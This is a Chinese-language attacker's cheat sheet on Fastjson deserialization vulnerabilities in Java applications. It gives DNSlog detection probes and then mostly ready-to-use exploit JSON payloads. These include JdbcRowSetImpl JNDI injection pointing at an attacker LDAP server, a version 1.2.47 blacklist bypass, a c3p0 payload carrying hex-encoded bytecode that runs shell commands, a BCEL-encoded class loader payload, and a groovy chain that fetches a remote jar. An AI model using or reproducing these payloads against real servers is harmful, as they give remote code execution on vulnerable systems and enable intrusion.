java组件漏洞——Fastjson

https://github.com/alibaba/fastjson

Fastjson 是一个 Java 库，可用于将 Java 对象转换为其 JSON 表示形式（序列化）。它还可以将 JSON 字符串转换为等效的 Java 对象（反序列化）。Fastjson 可以处理任意 Java 对象，包括您没有源代码的现有对象

fastjson 反序列化漏洞的根本原因，@type 字段可以指定为 java 任意类

怎么判断一个网站使用了 fastjson

通过报错

判断出服务器能够解析json

dnslog

不具有通用性，能够触发dnslog的链，会被阿里巴巴的补丁拦截

java.net.Inet4Address

{"@type":"java.net.Inet4Address","val":"aaa.ivha1azs30gkaqp7o2jqp3kzmqshg84x.oastify.com"}

java.net.InetSocketAddress

{"@type":"java.net.InetSocketAddress"{"address":,"val":"aaa.md3ejehwl4yosu7b661u77234ualydm2.oastify.com"}}

java.net.URL

{{"@type":"java.net.URL","val":"http://aaa.uusm0my42cfw92ojnei2ofjbl2rtfm3b.oastify.com"}:"x"}

利用

com.sun.rowset.JdbcRowSetImpl 链

作用：JdbcRowSetImpl 链可以接受 ldap 或 rmi 协议的 url 链接，诱导 JVM 去访问一个外部的恶意 JNDI 服务，实现JNDI注入

1. 开JNDI监听

2. JNDI basic payload开启一个加载reference类的ldap或rmi链接

得到链接ldap://192.168.75.129:50389/22fa1b

3. 生成 fastjson jdbcrowsetmpl链的payload

4. 使用payload攻击目标

1.2.47 绕过 com.sun.rowset.JdbcRowSetImpl 黑名单

1.2.47 绕过方法

技术点：利用 java.lang.Class 先将恶意类（如 JdbcRowSetImpl）加载到缓存中，从而绕过后续的黑名单检测

{
"x1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.75.129:50389/a53f49",
"autoCommit": true
}
}

其他利用链

https://github.com/lemono0/FastJsonParty

• c3p0 二次反序列化 + 反序列化链（cb1） (不出网也能用)
  ⚠️ 出网 ： 目标服务器能够联网 不出网：目标服务器不能联网

c3p0 二次反序列化 + 反序列化链（cb1） (不出网也能用)
⚠️ 出网 ： 目标服务器能够联网 不出网：目标服务器不能联网

{
"x1": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"x2": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372002a6a6176612e6c616e672e537472696e672443617365496e73656e736974697665436f6d70617261746f7277035c7d5c50e5ce02000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e00200007870000003bdcafebabe00000032004201004e6f72672f6170616368652f636f6c6c656374696f6e732f636f796f74652f747970652f54797065466163746f72796666633361616632656262343431633939636563356334396139613363356333070001010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c6574070003010004626173650100124c6a6176612f6c616e672f537472696e673b010003736570010003636d640100063c696e69743e0100032829560100136a6176612f6c616e672f457863657074696f6e07000b0c0009000a0a0004000d0100076f732e6e616d6508000f0100106a6176612f6c616e672f53797374656d07001101000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b0c001300140a001200150100106a6176612f6c616e672f537472696e6707001701000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b0c0019001a0a0018001b01000377696e08001d010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a0c001f00200a00180021010007636d642e6578650800230c0005000609000200250100022f630800270c0007000609000200290100072f62696e2f736808002b0100022d6308002d0c00080006090002002f0100186a6176612f6c616e672f50726f636573734275696c646572070031010016285b4c6a6176612f6c616e672f537472696e673b29560c000900330a00320034010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0c003600370a003200380100106a6176612f6c616e672f4f626a65637407003a0100083c636c696e69743e01000463616c6308003d0a0002000d010004436f646501000d537461636b4d61705461626c6500210002000400000003000900050006000000090007000600000009000800060000000200010009000a000100400000008400040002000000532ab7000e1210b80016b6001c121eb600229900101224b300261228b3002aa7000d122cb30026122eb3002a06bd00185903b20026535904b2002a535905b20030534cbb0032592bb70035b6003957a700044cb100010004004e0051000c00010041000000170004ff002100010700020000096507000cfc000007003b0008003c000a000100400000001a000200000000000e123eb30030bb000259b7003f57b10000000000007074002464323536656335332d326631312d346165642d623032312d643962613963343231336635707701007871007e000d78;"
}
}

dbcp + bcel 链 (不出网也能用)

{
"name": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
"x1": {
"name": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"x2": {
"@type": "com.alibaba.fastjson.JSONObject",
"x3": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmR$5bS$d3$40$U$fe$b6$N$q$zA1$5c$Fox$c1$W$84P$8aE$E$d1$91$f1$ad$5e$e3$c0T$7d$d9l$d7$SL$93$9al$81$be$fb$t$fc$F$3c$D3$e0$c8$e8$P$f079$eaIeD$G$5e$f6$ec$b9$ec9$df$f7$9d$fd$f1$eb$ebw$A3x$c4$f0$$$8cj6op$b1$smW$f2$a0$a9$3c$3f$b6E$d8$K$95$b4$d7$e30P$ad$86$b4$bdz$c3$b7$jUu$9an$e2$bf$92q$e8o$c8h$aePr$L$b2$u$e6g$a5$98$z$ca$w$$Vyi$beT$u$bd$afN$cf$J$vt0$86$9eu$be$c1m$9f$H5$fb$b9$bb$$$85$d2$91f$d0$5c$kK$G$ab$7c$9cuT$e4$F$b5$F$86t$y$ht$8az$95$a1s$d1$L$3c$b5Dn$$$bf$c2$d0$7b$5c$fedK$c8$86$f2$c2$40G$97$89$M$b2Yh$e8f$d0$c3x$w$e0ui$e0$fc$89$e1N$xV$b2$ae$e3$CCWM$aa$XQ$d8$90$91j1$8c$e5N$83$c8$9f$O$99$e8E$W$W$faO$b6mgu$MR$5b$V$96$c3M$Z$z$b7$a9$f5$e5$celr$R$c3Y$Ma$84$Ymz$81$81$cb$M$86$m$99$b9$X$c4$M$p$ffcY$5e$e3$91$p$3f6e$m$e4B$fe$8d$89$ab$b8$96$bc$j$r$92$q$ce$94$dc$o$927Lt$a03$83$Un1$a4la$e0$b6$J$fdo$qO$85$b6$eb$Fv$bcf$60$82$d2$93$94$9e4a$fcM$db$MC$c7$d3H$Q$n$e3$f8q$d3$f3$ab2$d2Q$60$Y$c8$bd$3dC$9a$95D$edb$96$fe$cf$yCG$acx$a4$Y$faO$b0$3d$eaEtK$98K$w$ef$R$cbE$e1$l$edR$T$dc$t$q$LY$CA$h$d3$96$c3$w$J$d6$ed$u$$$3e$3c$e5$8d$d7$dc$f5$rF$v$a9$d17M$d34bH$b7L$c2$abm$8d$b6M$81$r$7b$a7s$89$bcOT$9d$o$eb$8c$l$e0$9c$d5$f3$F$D$fb$b8d$5d$d9$c7$f5$cf$e8$b1n$eea$cc$ca$eda$7c$h$dd$d6$9d$c4$99$o$a7$f3$h$86$w$e9$5d$8c9$Vm$X$e3N$a5c$X$d3N$f9$Q3$95$89$D$dc$dd$c7$fc$ea6$b4$f2$O$8d$d0$f0$M$_a$d2$ed$n$N$Z$84$f6$9b$Q2$3d$Z$99$91$3a$cc$9f$mt$g$n$bb$ff$P$d1p$h$P$I$cd$e2$k$a6$P$91$aa$i$e0$c1$eaN$3b$86$3f$83Sn$ac$85$D$A$A",
"$ref": "$.x1.x2.x3.connection"
}
}
}
}

• groovy 链

[INFO] Step1:
{
"x1": {
"@type": "java.lang.Exception",
"@type": "org.codehaus.groovy.control.CompilationFailedException",
"unit": {}
}
}
[INFO] Step2:
{
"x2": {
"@type": "org.codehaus.groovy.control.ProcessingUnit",
"@type": "org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config": {
"@type": "org.codehaus.groovy.control.CompilerConfiguration",
"classpathList": "http://127.0.0.1:50000/EvalGroovy.jar"
}
}
}